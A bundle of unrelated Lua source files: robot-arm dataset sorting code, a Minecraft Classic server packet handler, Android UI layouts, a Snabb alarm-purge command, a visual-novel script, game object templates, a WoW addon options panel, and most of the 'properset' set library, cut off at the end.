-- position_e[3] = position_e[3] - 0.005
local current_pos = table.copy(data300.arm_pose[i])
local low_dim_features = self:outputLowDimTensor(current_pos, position_e)
position_e[3] = position_e[3] - 0.0325
self.vrep:setObjectPosition(self.cuboid, self.robot_base, position_e)
local desired_pose = self.vrep:getDesiredConfig(0.2)
if desired_pose == nil then
print("No desired config, filter out!!!")
elseif #desired_pose == 0 then
print("No desired config, filter out!!!")
else
local vel_ = {}
for i=1,self.n_joint do
vel_[i] = desired_pose[i] - current_pos[i]
if vel_[i] > 1.0 then
vel_[i] = 1.0
elseif vel_[i] < -1.0 then
vel_[i] = -1.0
end
end
local vel_sum = torch.Tensor(vel_):abs():sum()
-- print("vel sum: ", vel_sum)
-- if vel_sum < 0.01 then
if vel_sum < 0.01 then
vel_ = {0.0,0.0,0.0,0.0,0.0,0.0,0.0}
end
sample_index = sample_index + 1
image300[sample_index] = data300.image[i]:clone()
image400[sample_index] = data400.image[i]:clone()
target_pose[sample_index] = table.copy(position_e)
arm_pose[sample_index] = table.copy(data300.arm_pose[i])
low_dim_s_e[sample_index] = low_dim_features
vel[sample_index] = table.copy(vel_)
print("=====================================")
print("Sample Index: ", sample_index)
print("Traget Arm Pose: ", torch.Tensor(target_pose[sample_index]))
print("Current Arm Pose: ", torch.Tensor(arm_pose[sample_index]))
print("Low Dim s: ", low_dim_s_e[sample_index])
print("Vel: ", torch.Tensor(vel[sample_index]))
win_input1 = image.display{image=image400[sample_index], win=win_input1}
win_input2 = image.display{image=image300[sample_index], win=win_input2}
end
break
elseif j==100 then
print("Reaching failed, filter out!!!")
end
end
-- print("Label V: ", torch.Tensor(label_v_[#label_v_]))
-- Save the dataset to a t7 file
local filename_ = "sorted_image300_real_data_50_3"
torch.save(filename_ .. ".t7", {image = image300,
object_position = target_pose,
arm_pose = arm_pose,
low_dim_s_e = low_dim_s_e,
vel = vel,
sample_amount = sample_index})
print('Real dataset saved:', filename_ .. '.t7')
filename_ = "sorted_image400_real_data_50_3"
torch.save(filename_ .. ".t7", {image = image400,
object_position = target_pose,
arm_pose = arm_pose,
low_dim_s_e = low_dim_s_e,
vel = vel,
sample_amount = sample_index})
print('Real dataset saved:', filename_ .. '.t7')
end
end
io.flush()
collectgarbage()
print("Data Sorted Out!!! Go for a break!!!")
end
function table.copy(t)
if t == nil then return nil end
local nt = {}
for k, v in pairs(t) do
if type(v) == 'table' then
nt[k] = table.copy(v)
else
nt[k] = v
end
end
setmetatable(nt, table.copy(getmetatable(t)))
return nt
end
function dctrl:load_pre_constructed_dataset(file)
-- try to load the dataset
local err_msg, dataset= pcall(torch.load, file)
if not err_msg then
error("Could not find the dataset file ")
end
return dataset
end
|
--[[
Copyright (c) 2019 igor725, scaledteam
released under The MIT license http://opensource.org/licenses/MIT
]]
return function(player, id, x, y, z, yaw, pitch)
player:setPos(x / 32, y / 32 - 0.6875, z / 32)
player:setEyePos((yaw / 255) * 360, (pitch / 255) * 360)
if player:isSupported('HeldBlock')then
if not isValidBlockID(id)then
id = 0
end
if player.heldBlock ~= id then
player.heldBlock = id
hooks:call('onHeldBlockChange', player, id)
end
end
local pid = player:getID()
local pck, cpepck
playersForEach(function(ply)
if not ply.isSpawned then return end
if ply:isInWorld(player)then
if ply:isSupported('ExtEntityPositions')then
cpepck = cpepck or cpe:generatePacket(0x08, pid, x, y, z, yaw, pitch)
ply:sendNetMesg(cpepck, #cpepck)
else
pck = pck or generatePacket(0x08, pid, x, y, z, yaw, pitch)
ply:sendNetMesg(pck, #pck)
end
end
end)
end
|
--UI configure
this.UiManager.drawerHeaderSecondaryTextView.typeface=Typeface.SERIF
this.UiManager.appBarLayout.getChildAt(0).getChildAt(0).getChildAt(0).getChildAt(1).getChildAt(1).typeface=Typeface.SERIF
--Layouts for components
item={LinearLayout,
layout_width="match",
layout_height="wrap",
padding="8dp",
{MaterialCardView,
id="card",
layout_width="match",
layout_height="wrap",
radius="8dp",
elevation="0dp",
cardBackgroundColor="#5AE1E1E1",
{
LinearLayout,
layout_width="match",
layout_height="wrap",
padding="12dp",
orientation="vertical",
{TextView,
id="title",
textSize="16sp",
textColor=this.UiManager.getColors().textColorPrimary,
},
{RecyclerView,
id="itemList",
layout_width="match",
}
}
}
}
innerItem={LinearLayout,
layout_width="match",
layout_height="wrap",
padding="8dp",
{MaterialCardView,
id="innerCard",
layout_width="match",
layout_height="wrap",
radius="8dp",
elevation="0dp",
cardBackgroundColor="#5AE1E1E1",
padding="12dp",
{
LinearLayout,
layout_width="match",
layout_height="wrap",
padding="12dp",
orientation="vertical",
{TextView,
id="text",
textColor=this.UiManager.getColors().textColorSecondary,
},
}
}
}
|
-- Use of this source code is governed by the Apache 2.0 license; see COPYING.
module(..., package.seeall)
local common = require("program.config.common")
local lib = require("core.lib")
function show_usage(command, status, err_msg)
if err_msg then print('error: '..err_msg) end
print(require("program.alarms.purge.README_inc"))
main.exit(status)
end
local function fatal()
show_usage(nil, 1)
end
local function parse_args (args)
local handlers = {}
local opts = {}
local function table_size (t)
local count = 0
for _ in pairs(t) do count = count + 1 end
return count
end
local function without_opts (args)
local ret = {}
for i=1,#args do
local arg = args[i]
if opts[arg] then
i = i + 2
else
table.insert(ret, arg)
end
end
return ret
end
handlers['by-older-than'] = function (arg) opts.older_than = arg end
handlers['by-severity'] = function (arg) opts.severity = arg end
handlers['by-operator-state'] = function (arg)
opts.operator_state_filter = arg
end
args = lib.dogetopt(args, handlers, "", { ['by-older-than']=1,
['by-severity']=1, ['by-operator-state']=1 })
opts.status = table.remove(args, #args)
if table_size(opts) == 0 then fatal() end
local args = without_opts(args)
return opts, args
end
function run(args)
local l_args, args = parse_args(args)
local opts = { command='purge-alarms', with_path=false, is_config=false,
usage = show_usage }
args = common.parse_command_line(args, opts)
local response = common.call_leader(
args.instance_id, 'purge-alarms',
{ schema = args.schema_name, alarm_status = l_args.status,
older_than = l_args.older_than, severity = l_args.severity,
operator_state_filter = l_args.operator_state_filter,
print_default = args.print_default, format = args.format })
common.print_and_exit(response, "purged_alarms")
end
|
MidwayCheckupStory = Story:extend()
function MidwayCheckupStory:new()
MidwayCheckupStory.super.new(self)
self.lines = {
"#bg gfx/bg1.png",
"3016.UC",
"12.31 1200 HOME",
"#bg gfx/bg7.png",
"#music bgm/Lazy Marine - 91 T1.wav",
"It's around noon and {girl} happened to be around to eat lunch. ",
"I've made sure to cut some apples up on the side too since she's been taking a liking to them in particular lately.",
"{player}: \"{girl}? Lunch is ready!\"",
"..",
"No response.",
"Maybe she can't hear me from her room?",
"I turn off the kitchen stove and wipe my hands.",
"I make my way to her room and give the door a few knocks.",
"{player}: \"Hello? {girl}? You in there? The food's ready..\"",
"..",
"No response.",
"Well, I have no choice I suppose.",
"I make sure to make as much noise grabbing the knob to alert her that I'm coming in.",
"As the door swings open, I see her sitting at her desk with a device in her hand.",
"#portrait gfx/portrait_baby_{type}.png",
"{girl}: !!",
"Great, seems she's noticed me now.",
"Her hands fumble around as she attempts to conceal the device.",
"Federation technology?",
"Not sure..couldn't get a good look.",
"But if the Outer Federation is watching me even now, I should probably pretend like I didn't see anything.",
"{player}: \"Just wanted to let you know that lunch was ready.\"",
"{girl}: \"..Okay..\"",
"*BEEP*",
"What?",
"*BEEP*",
"From my room?",
"*BEEP*",
"Oh no...",
"I rush back to my room to check my e-mail.",
"Sure enough..",
"SUBJECT: !!!!! ATTN: A.C.P.P. STATUS UPDATE !!!!!",
"FROM: <REDACTED BY USER>",
"BODY: ",
"TO CARETAKER,",
"WE HAVE BEEN OBSERVING YOU.",
"YOU HAVE MADE FOR A SUITABLE CARETAKER THUS FAR.",
"HEALTH STATUS OF UNIT:",
"[ 011-TMXEPMZI ]",
".ALL SYSTEMS NOMINAL",
"BASED ON REPORTS RECEIVED FROM G.I.V.E.R. UNIT",
"[ 011-TMXEPMZI ]",
"WE HAVE SEEN A MARKED INCREASE IN CHEMICAL ACTIVITY UPON RECEIVING:",
"[ APPLE ]",
"IT IS RECOMMENDED TO CONTINUE ADMNISTERING",
"[ APPLE ]",
"SIGNED,",
"OUTER FEDERATION",
"DAYS REMAINING: 1095",
"#bg gfx/bg6.png",
"..",
"...",
"Good thing I cut those apples."
,"#music bgm/Lazy Marine - 91 full.wav"
}
end
|
--Made with Skyyyr's Wrench Tool
object_tangible_tcg_shared_booster = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/tcg/shared_booster.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_tcg_shared_booster, "object/tangible/tcg/shared_booster.iff")
--Made with Skyyyr's Wrench Tool
object_tangible_tcg_shared_card = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/tcg/shared_card.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_tcg_shared_card, "object/tangible/tcg/shared_card.iff")
--Made with Skyyyr's Wrench Tool
object_tangible_tcg_shared_starter = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/tcg/shared_starter.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_tcg_shared_starter, "object/tangible/tcg/shared_starter.iff")
|
--[[
shared.lua
Options menu class with API shared among all panels
--]]
local CONFIG = ...
local L = LibStub('AceLocale-3.0'):GetLocale(CONFIG)
local ADDON, Addon = CONFIG:match('[^_]+'), _G[CONFIG:match('[^_]+')]
local Group = Addon:NewModule('OptionsGroup', LibStub('Sushi-3.1').OptionsGroup:NewClass())
--[[ Groups ]]--
function Group:New(id, icons)
local parent = self ~= Group and self
local f = Addon:NewModule(id, Group:Super(Group):New(parent or ADDON, parent and (L[id] .. ' ' .. icons)))
f:SetFooter('By João Cardoso and Jason Greer')
f:SetSubtitle(L[id .. 'Desc']:format(ADDON))
f:SetChildren(function() f:Populate() end)
f.sets, f.frame = Addon.sets, 'inventory'
return f
end
function Group:AddRow(height, children)
local group = self:Add('Group', function(row) self.row = row; children(row); self.row = nil end)
group:SetResizing('HORIZONTAL')
group:SetHeight(height)
return group
end
--[[ Singletons ]]--
function Group:AddCheck(arg)
local b = self:AddLabeled('Check', arg)
b:SetCall('OnClick', function(_,_, v) self.sets[arg] = v end)
b:SetValue(self.sets[arg])
return b
end
function Group:AddColor(arg)
local b = self:AddLabeled('ColorPicker', arg)
b:SetCall('OnColor', function(_, v) self.sets[arg] = {v:GetRGBA()} end)
b:SetValue(CreateColor(self.sets[arg][1], self.sets[arg][2], self.sets[arg][3], self.sets[arg][4]))
return b
end
function Group:AddSlider(arg, min,max)
local s = self:AddLabeled('Slider', arg)
s:SetCall('OnValue', function(_, v) self.sets[arg] = v end)
s:SetRange(min, max)
s:SetValue(self.sets[arg])
return s
end
function Group:AddPercentage(arg, min,max)
local s = self:AddLabeled('Slider', arg)
s:SetCall('OnValue', function(_, v) self.sets[arg] = v/100 end)
s:SetRange(min or 1, max or 100)
s:SetValue(self.sets[arg] * 100)
s:SetPattern('%s%')
return s
end
function Group:AddChoice(data)
local choice = self:AddLabeled('DropChoice', data.arg)
choice:SetCall('OnValue', function(_, v) self.sets[data.arg] = v end)
choice:SetValue(self.sets[data.arg])
choice:AddChoices(data)
return choice
end
function Group:AddLabeled(class, id)
local label = id:gsub('^.', strupper)
local tip = L[label .. 'Tip']
local f = (self.row or self):Add(class, L[label])
f:SetCall('OnInput', function() Addon.Frames:Update() end)
f:SetTip(tip and f:GetLabel(), tip)
return f
end
--[[ Specific ]]--
function Group:AddFrameChoice()
local choice = self:Add('DropChoice', L.Frame, self.frame)
choice:SetCall('OnInput', function(_, id) self.frame = id end)
for i, frame in Addon.Frames:Iterate() do
if frame.addon ~= false then
choice:AddChoices(frame.id, frame.name)
end
end
return choice
end
|
--- Handles complex sets.
--
-- @usage
-- > properset = require 'properset'
-- > Set = properset.Set
-- > a = Set{1, 2, 2, 3, 3, 3}
-- > a
-- {1, 2, 3}
--
-- @module properset
-- @author Odin Kroeger
-- @copyright 2018 Odin Kroeger
-- @license MIT
-- @release 0.3b-1
-- Boilerplate
-- ===========
local properset = {}
local assert = assert
local error = error
local pcall = pcall
local next = next
local ipairs = ipairs
local pairs = pairs
local getmetatable = getmetatable
local setmetatable = setmetatable
local string = string
local tonumber = tonumber
local tostring = tostring
local type = type
local rawequal = rawequal
local rawset = rawset
local table = table
local upvalueid = debug.upvalueid
local huge = math.huge
-- DEBUG
local print = print
local _ENV = properset
-- Private constants
-- =================
-- Error message shown on attempts to change a `Set`.
local SETMODERR = "sets can be modified by 'add', 'remove', 'pop', and 'clear' only."
-- Format for error messages shown if too few args are given.
local TOOFEWARGSERR = "%s: requires at least %d argument(s)."
-- Format for error shown if a value isn't a set.
local NOTASETERR = 'expected a Set, got a %s.'
-- Format for error shown if `add` or `remove` are invoked for `FrozenSet`.
local MODFROZENERR = 'set is frozen.'
-- Private utility functions
-- =========================
--- Adds an object to a set.
--
-- Doesn't check whether the object is a member already!
--
-- @tparam Set set The set to add to.
-- @param obj The object to add.
-- @tparam[opt] number n The index *after* which to store `obj`,
-- if it's a table.
--
-- @return number If `obj` is a table, index at which it was stored;
-- otherwise, `nil`.
local function uncheckedadd (set, obj, n)
local vs = set._val
local ts = set._tab
if type(obj) == 'table' then
if n then n = n + 1 else n = #ts + 1 end
ts[n] = obj
return n
else
vs[obj] = true
end
end
-- Sets as types
-- =============
-- Set creation
-- ------------
---
-- Sets contain every item at most once.
-- They can only be modified using `add` and `remove`.
-- And set members are (mostly) immutable.
--
-- You should *not* attempt to modify set members.
-- If you do, you may break assumptions that others have based their code on.
-- (This includes me.)
--
-- @type Set
Set = {}
Set.mt = {}
Set.mt.__index = Set
--- Creates a new instance of a prototype, typically `Set`.
--
-- `a:new`, where `a` is itself an 'instance' of `Set`, will create
-- a new 'instance' of `Set`, *not* an 'instance' of `a`. That is,
-- `b = a:new()`, `b = Set:new()`, and `b = Set()` are equivalent.
--
-- > a = Set()
-- > b = a:new()
-- > getmetatable(a) == getmetatable(b)
-- true
--
-- @tparam[opt] table elems Members for the new set.
--
-- @return An instance of the given prototype for sets,
-- populated with `elems`, if any were given.
--
-- @usage
-- > Set:new{1, 2, 3}
-- {1, 2, 3}
-- > Set{1, 2, 3}
-- {1, 2, 3}
function Set:new (elems)
self = self or Set
local set = {_val = {}, _tab = {}, _meta = {}}
setmetatable(set, self.mt)
if elems then set:add(elems) end
return set
end
-- Convenience.
setmetatable(Set, {__call = Set.new})
--- Returns the ID of the set.
--
-- @tparam[opt=0] number flags If `ASNUM` is set, returns the ID as a number.
--
-- @treturn number The ID.
--
-- @usage
-- > a = Set()
-- > a:id()
-- Set: 0x7f8a555d4df0
-- > a:id(properset.ASNUM)
-- 140232114392560
function Set:id (flags)
flags = flags or 0
local m = self._meta
if m.id == nil then
-- Needed to make `upvalueid` return this method's `self`,
-- rather than the caller's.
local s = self
local r = upvalueid(function () return s end, 1)
m.id = tonumber(tostring(r):match(': (0x%x+)'))
end
if flags & ASNUM == ASNUM then return m.id
else return string.format('Set: 0x%x', m.id)
end
end
--- Adds elements to a set.
--
-- Don't add members to a set while you're iterating over it.
--
-- @tparam table elems A list of elements to be added.
--
-- @raise Raises an error if you try to add a set to itself.
--
-- @usage
-- > a = Set{1}
-- > a:add{2}
-- > a
-- {1, 2}
-- > a:add{2}
-- > a
-- {1, 2}
function Set:add (elems)
local uad = uncheckedadd
local has = self.has
local n
-- This must be `pairs` to handle sparse arrays correctly.
for _, v in pairs(elems) do
if not has(self, v) then
-- @todo Test if it's faster without passing n.
n = uad(self, v, n) or n
end
end
end
--- Deletes members from a set.
--
-- Don't remove members from a set while you're iterating over it.
--
-- @tparam table members A list of members to be removed.
--
-- @usage
-- > a = Set{1, 2, 3}
-- > a:remove{2, 3}
-- > a
-- {1}
function Set:remove (members)
local rem = table.remove
local vs = self._val
local ts = self._tab
for _, v in pairs(members) do
if type(v) == 'table' then
for i = #ts, 1, -1 do
if ts[i] == v then
-- `ts[i] = nil` causes a weird bug.
rem(ts, i)
break
end
end
else
vs[v] = nil
end
end
end
--- Removes all members from the set.
--
-- Don't remove members from a set while you're iterating over it.
--
-- @usage
-- > a = Set{1, 2}
-- > a:clear()
-- > a
-- {}
function Set:clear ()
self._val = {}
self._tab = {}
end
--- Removes an arbitrary members from the set and returns it.
--
-- Don't remove members from a set while you're iterating over it.
-- If you want to iterate over the whole set, use `members` with the
-- flag `properset.POPOFF` instead.
--
-- @usage
-- > a = Set{1, 2}
-- > a:pop()
-- 1
-- > a
-- {2}
function Set:pop ()
return self:members(POPOFF)()
end
--- Tests whether the set is empty.
--
-- @treturn boolean Whether the set is empty.
--
-- @usage
-- > a = Set()
-- > a:isempty()
-- true
-- > b = Set{1}
-- > b:isempty()
-- false
function Set:isempty ()
return #self == 0
end
--- Tests whether the set is frozen.
--
-- @treturn boolean `false`.
--
-- @usage
-- > a = Set()
-- > a:isfrozen()
-- false
function Set:isfrozen ()
return false
end
--- Tests whether an object is a member of the set.
--
-- @param obj An object.
--
-- @treturn boolean Whether an object is a member of the set.
--
-- @usage
-- > a = Set{1}
-- > a:has(1)
-- true
-- > a:has(0)
-- false
function Set:has (obj, s)
if type(obj) == 'table' then
if s and s[obj] then return true end
local ts = self._tab
if isset(obj) then
if s then s[obj] = true else s = {[obj] = true} end
local eq = getmetatable(obj).__eq
for i = 1, #ts do if eq(obj, ts[i], s) then return true end end
else
for i = 1, #ts do if ts[i] == obj then return true end end
end
return false
else
return self._val[obj] or false
end
end
--- Iterates over all members of the set.
--
-- @tparam[opt=0] number flags If `POPOFF` is set, removes from the set
-- each member returned.
--
-- @treturn function A function that returns a member of the set.
--
-- @usage
-- > a = Set{1, 2, 3}
-- > for v in a:members() do print(v) end
-- 1
-- 2
-- 3
function Set:members (flags)
flags = flags or 0
local rem = table.remove
local vs = self._val
local ts = self._tab
local p = flags & POPOFF == POPOFF
local k = nil
local i = 0
return function ()
if k ~= nil or i == 0 then
k, _ = next(vs, k)
if k ~= nil then
if p then vs[k] = nil end
return k
end
end
i = i + 1
if ts[i] ~= nil then
if p then rem(ts, i) end
return ts[i]
end
end
end
--- The set's power set.
--
-- Calculating a power set runs in exponential time, namely, *O*(2^*n*).
-- Average times needed to calculate the power set of a set with *n* members
-- (on an 1,6 GHz Intel Core i5 with Lua 5.3.4):
--
-- * n = 8: <0.01s
-- * n = 9: 0.01s
-- * n = 10: 0.02s,
-- * n = 11: 0.03s
-- * n = 12: 0.06s
-- * n = 13: 0.12s
-- * n = 14: 0.28s
-- * n = 15: 0.51s
-- * n = 16: 1s
--
-- @treturn Set(Set,...) The set's power set.
--
-- @usage
-- > a = Set{0, 1}
-- > a:power()
-- {{0, 1}, {1}, {}, {0}}
function Set:power ()
local uad = uncheckedadd
local cop = copy
local res = self:new()
local f = res:isfrozen()
if f then res:unfreeze() end
local rt = res._tab
local n = 1
rt[n] = Set:new()
for v in self:members() do
for i = 1, n do
local s = cop(rt[i])
uad(s, v)
n = n + 1
rt[n] = s
end
end
if f then res:freeze() end
return res
end
--- All members of rank *n*.
--
-- `a:flattened()` and `a:ofrank(0, propertyset.RECURSIVE)` are equivalent.
--
-- @tparam number n The rank.
-- @tparam[opt=0] number flags If `RECURSIVE` is set, then searches members
-- of the set that are sets, members of those sets that are sets, ..., too.
--
-- @treturn Set The members of rank *n*.
--
-- @usage
-- > a = Set{1, Set{2, Set{3, 4}, Set{5}}, Set{6}}
-- > a
-- {1, {2, {3, 4}, {5}}, {6}}
-- > a:ofrank(0)
-- {1}
-- > a:ofrank(1)
-- {{6}}
-- > a:ofrank(2)
-- {{2, {3, 4}, {5}}}
-- > a:ofrank(3)
-- {}
-- > a:ofrank(0, properset.RECURSIVE)
-- {1, 2, 3, 4, 5, 6}
-- > a:ofrank(1, properset.RECURSIVE)
-- {{3, 4}, {5}, {6}}
-- > a:ofrank(2, properset.RECURSIVE)
-- {{2, {3, 4}, {5}}}
-- > a:ofrank(3, properset.RECURSIVE)
-- {}
--
-- @see rank
function Set:ofrank (n, flags, s)
flags = flags or 0
-- `flattened` is faster than `ofrank`.
if n == 0 and flags & RECURSIVE == RECURSIVE then
return self:flattened()
end
s = s or {}
local isset = isset
local rank = rank
local res = self:new()
local f = res:isfrozen()
if f then res:unfreeze() end
local add = res.add
for v in self:members() do
if not s[v] then
s[v] = true
if rank(v) == n then add(res, {v}) end
if flags & RECURSIVE == RECURSIVE and isset(v) then
res = res + v:ofrank(n, flags, s)
end
end
end
if f then res:freeze() end
return res
end
--- All members at level *n*.
--
-- Levels:
-- 1 = members of the set,
-- 2 = members of members of the set,
-- 3 = ...
--
-- @tparam number n The level.
--
-- @treturn Set The members at level *n*.
--
-- @raise Raises an error unless `n` > 0.
--
-- @usage
-- > a = Set{1, Set{2, Set{3, 4}, Set{5}}, Set{6}}
-- > a
-- {1, {2, {3, 4}, {5}}, {6}}
-- > a:atlevel(1)
-- {1, {2, {3, 4}, {5}}, {6}}
-- > a:atlevel(2)
-- {2, {3, 4}, {5}, 6}
-- > a:atlevel(3)
-- {3, 4, 5}
-- > a:atlevel(4)
-- {}
function Set:atlevel (n)
assert(n > 0, "'n' must be greater than 0.")
if n == 1 then
return copy(self)
else
local isset = isset
local res = self:new()
local f = res:isfrozen()
if f then res:unfreeze() end
local add = res.add
for v in self:members() do
if isset(v) then
add(res, v:atlevel(n - 1))
end
end
if f then res:freeze() end
return res
end
end
--- Maps a function of all values of the set onto another set.
--
-- @tparam function func A function to be applied to each member.
-- @tparam[opt=0] number flags If `RECURSIVE` is set, applies `func` to members
-- of the set that are sets, members of those sets that are sets, ..., too.
--
-- @treturn Set The results of applying `func` to the members of the set.
--
-- @usage
-- > a = Set{1, 2, 3}
-- > a:map(function(i) return i + 1 end)
-- {2, 3, 4}
-- > a = Set{1, 2, Set{3, 4}}
-- > a:map(function (i) return i + 1 end, properset.RECURSIVE)
-- {2, 3, {4, 5}}
function Set:map (func, flags, s)
flags = flags or 0
s = s or {}
local r = flags & RECURSIVE == RECURSIVE
local res = self:new()
local f = res:isfrozen()
if f then res:unfreeze() end
local add = res.add
for v in self:members() do
if r and isset(v) then
if s[v] then return s[v] end
s[v] = res
add(res, {v:map(func, flags, s)})
else
add(res, {func(v)})
end
end
if f then res:freeze() end
return res
end
--- Filters members of a set.
--
-- @tparam function func A function that defines which members to return.
-- @tparam[opt=0] number flags If `RECURSIVE` is set, tests members of the
-- set that are sets, members of those sets that are sets, ..., too.
--
-- @treturn Set The filtered set.
--
-- @usage
-- > a = Set{1, 2, 3}
-- > a:filter(function(i) return i % 2 == 0 end)
-- {2}
function Set:filter (func, flags, s)
flags = flags or 0
s = s or {}
local r = flags & RECURSIVE == RECURSIVE
local res = self:new()
local f = res:isfrozen()
if f then res:unfreeze() end
local add = res.add
for v in self:members() do
if r and isset(v) then
if s[v] then return s[v] end
s[v] = res
add(res, {v:filter(func, flags, s)})
else
if func(v) then add(res, {v}) end
end
end
if f then res:freeze() end
return res
end
--- The members of the set as a table.
--
-- @tparam[opt=0] number flags If `RECURSIVE` is set, then converts members of
-- the set that are sets, members of those sets that are sets, ..., too.
--
-- @treturn table All members of the set.
--
-- @usage
-- > a = Set{1, 2, 3}
-- > r = a:totable()
-- > table.unpack(r)
-- 1 2 3
function Set:totable (flags, s)
local isset = isset
local flags = flags or 0
local s = s or {}
local res = {}
local n = 0
s[self] = res
for v in self:members() do
n = n + 1
if flags & RECURSIVE == RECURSIVE and isset(v) then
if s[i] then res[n] = s[v]
else res[n] = v:totable(flags, s)
end
else
res[n] = v
end
end
return res
end
--- Unpacks the members of the set.
--
-- @tparam[opt=0] number flags If `RECURSIVE` is set, then unpacks not
-- only this set, but all sets that are members of this set, members of
-- those sets, and so forth.
--
-- @return The members of the given set unpacked.
--
-- @usage
-- > a = Set{1, 2, 3}
-- > a:unpack()
-- 1 2 3
function Set:unpack (flags)
return table.unpack(self:totable(flags))
end
--- Returns the members of the set sorted.
--
-- Keep in mind, sets may be multidimensional.
--
-- @tparam[opt] function func A sorting function.
-- @tparam[opt=0] number flags If `RECURSIVE` is set, then sorts not
-- only this set, but all sets that are members of this set, members of
-- those sets, and so forth.
--
-- @treturn table A list of the members of the given set, sorted.
--
-- @usage
-- > a = Set{1, 3, 5, 2, 4, 6, 8, 10, 5, 9, 7}
-- > r = a:sorted()
-- > table.concat(r, ', ')
-- 1, 2, 3, 4, 5, 6, 7, 8, 9, 10
function Set:sorted (func, flags)
local t = self:totable(flags)
table.sort(t, func)
return t
end
--- The non-set members of the set and its descendants.
--
-- @treturn Set A set with all non-set members of the set and its descendants.
--
-- @usage
-- > a = Set{1, Set{2, 3}, 4}
-- > b = a:power()
-- > b:flattened()
-- {1, 2, 3, 4}
function Set:flattened ()
local isset = isset
local res = self:new()
local f = res:isfrozen()
if f then res:unfreeze() end
local add = res.add
local s = {}
local q = self:totable()
local l = #q
local n = 0
while n <= l do
n = n + 1
if isset(q[n]) then
if not s[q[n]] then
s[q[n]] = true
local t = q[n]:totable()
for i = 1, #t do
l = l + 1
q[l] = t[i]
end
end
else
add(res, {q[n]})
end
end
if f then res:freeze() end
return res
end
--- Makes a set immutable.
--
-- @treturn FrozenSet The frozen set.
--
-- @usage
-- > a = Set()
-- > a:add{0}
-- > a
-- {0}
-- > a:freeze()
-- {0}
-- > a:add{1}
-- set is frozen.
-- [...]
function Set:freeze ()
return setmetatable(self, FrozenSet.mt)
end
--- Does nothing.
--
-- @treturn Set The set.
--
-- @usage
-- > a = Set()
-- > a:unfreeze()
-- {}
function Set:unfreeze ()
return self
end
--- Blocks accidential modifications of the set.
--
-- @raise An error whenever it's invoked.
function Set.mt:__newindex ()
error(SETMODERR, 2)
end
--- Easier access to new in derived prototypes.
--
-- @tparam[opt] table elems Members for the new set.
--
-- @return An instance of the given prototype for sets,
-- populated with `elems`, if any were given.
function Set.mt:__call (elems)
return self:new(elems)
end
--- The number of elements in the set.
--
-- @treturn number Number of elements in the set.
--
-- @usage
-- > a = Set{1, 2, 3}
-- > #a
-- 3
function Set.mt:__len ()
-- @todo maybe counting as needed is faster than keeping track.
local n = 0
for _ in pairs(self._val) do n = n + 1 end
return n + #self._tab
end
--- Iterates over the set as if it were a list.
--
-- @usage
-- > a = Set{'a', 'b', 'c'}
-- > for i, v in ipairs(a) do print(i, v) end
-- 1 a
-- 2 b
-- 3 c
function Set.mt:__ipairs ()
local vs = self._val
local ts = self._tab
local n = #ts
local k = nil
local i = 0
local j = 0
return function ()
j = j + 1
if k ~= nil or i == 0 then
k, _ = next(vs, k)
if k ~= nil then return j, k end
end
if i < n then
i = i + 1
return j, ts[i]
end
end
end
--- Iterates over the set as if it were a table.
--
-- @usage
-- > a = Set{'a', 'b', 'c'}
-- > for k, v in pairs(a) do print(k, v) end
-- 1 a
-- 2 b
-- 3 c
Set.mt.__pairs = Set.mt.__ipairs
--- Tests whether the set is a subset of another set.
--
-- @tparam Set other The other set.
--
-- @treturn boolean Whether the set is a subset of another set.
--
-- @raise Raises an error of `other` is not a `Set`
-- (or another implementation of its protocol).
--
-- @usage
-- > a = Set{1, 2}
-- > b = Set{1}
-- > c = Set{3}
-- > b <= a
-- true
-- > c <= a
-- false
function Set.mt:__le (other, s)
assert(isset(other))
local has = other.has
for i in self:members() do
if not has(other, i, s) then return false end
end
return true
end
--- Tests whether the set is a strict subset of another set.
--
-- @tparam Set other The other set.
--
-- @treturn boolean Whether the set is a strict subset of another set.
--
-- @raise Raises an error of `other` is not a `Set`
-- (or another implementation of its protocol).
--
-- @usage
-- > a = Set{1, 2}
-- > b = Set{1}
-- > c = Set{3}
-- > a < a
-- false
-- > a <= a
-- true
-- > b < a
-- true
-- > c < a
-- false
function Set.mt:__lt (other)
assert(isset(other))
if #self < #other then return self <= other end
return false
end
--- Tests whether the set is equal to another set.
--
-- @tparam Set other The other set.
--
-- @treturn boolean Whether the set is equal to another set.
--
-- @raise Raises an error of `other` is not a `Set`
-- (or another implementation of its protocol).
--
-- @usage
-- > a = Set{1}
-- > b = Set{1}
-- > c = Set{2}
-- > a == b
-- true
-- > a ~= b
-- false
-- > a == c
-- false
-- > a ~= c
-- true
function Set.mt:__eq (other, s)
if not isset(other) or not isset(self) then return false end
if #self ~= #other then return false end
return getmetatable(self).__le(self, other, s)
end
--- The union of the set and another set.
--
-- `union(a, b)` and `a + b` are equivalent.
--
-- @tparam Set other The other set.
--
-- @treturn Set The union of the two sets.
--
-- @raise Raises an error of `other` is not a `Set`
-- (or another implementation of its protocol).
--
-- @usage
-- > a = Set{1}
-- > b = Set{2}
-- > a + b
-- {1, 2}
function Set.mt:__add (other)
return union{self, other}
end
--- The complement of the set and another set.
--
-- `complement(a, b)` and `a - b` are equivalent.
--
-- @tparam Set other The other set.
--
-- @treturn Set The complement of the two sets.
--
-- @raise Raises an error of `other` is not a `Set`
-- (or another implementation of its protocol).
--
-- @usage
-- > a = Set{1, 2}
-- > b = Set{2}
-- > a - b
-- {1}
function Set.mt:__sub (other)
return complement(self, other)
end
--- The intersection of the set and another set.
--
-- `intersection(a, b)` and `a ^ b` are equivalent.
--
-- @tparam Set other The other set.
--
-- @treturn Set The intersection of the two sets.
--
-- @raise Raises an error of `other` is not a `Set`
-- (or another implementation of its protocol).
--
-- @usage
-- > a = Set{1, 2}
-- > b = Set{2, 3}
-- > a ^ b
-- {3}
function Set.mt:__pow (other)
return intersection(self, other)
end
--- A string representation of the set.
--
-- @treturn string A string that represents the set.
--
-- @usage
-- > a = Set{1, Set{2, 3}, 4}
-- > tostring(a)
-- {1, {2, 3}, 4}
function Set.mt:__tostring (s)
local tostring = tostring
local isset = isset
local s = s or {}
local t = {}
local n = 0
for v in self:members() do
n = n + 1
if isset(v) then
if not s[v] then
s[v] = true
t[n] = getmetatable(v).__tostring(v, s)
else
return string.format('(cycle: 0x%x)', v:id(ASNUM))
end
else
t[n] = tostring(v)
end
